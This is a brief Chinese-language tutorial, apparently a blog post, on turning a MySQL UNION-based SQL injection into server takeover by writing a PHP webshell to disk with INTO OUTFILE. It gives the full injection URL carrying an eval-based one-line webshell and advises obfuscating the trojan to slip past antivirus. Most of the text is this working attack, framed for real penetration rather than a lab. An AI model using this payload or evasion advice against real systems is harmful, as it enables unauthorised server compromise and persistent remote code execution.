做ctf题目的时候,一般都是在数据库中找到flag,但是在渗透中,最终的目标是拿下服务器
正常情况下,为了管理方便,许多管理员都会开放MySQL数据库的secure_file_priv
,这时就可以导入或者导出数据
当我如图输入时,就会在D盘创建一个名为123456.php,内容为<?php phpinfo();?>
的文件
我们可以利用这一点运用到SQL注入中,从拿下数据库到拿下目标的服务器
比如我们在使用联合查询注入,正常是这样的语句http://xxx?id=-1 union select 1,'你想知道的字段的内容或查询语句',3,4,5,6 from (database_name.)table_name
,我们就把要查询的内容换成'<?php @eval($_POST[shell]);?>'
,把后面的库和表名换成into outfile 'd:/shell.php'
http://xxx?id=-1 union select 1,'<?php @eval($_POST[shell]);?>',3,4,5,6 into outfile 'd:/shell.php'
这里的木马肯定要经过加密过狗,否则会直接被杀
如果查询长度有限制的话,这种方法成功的可能性不大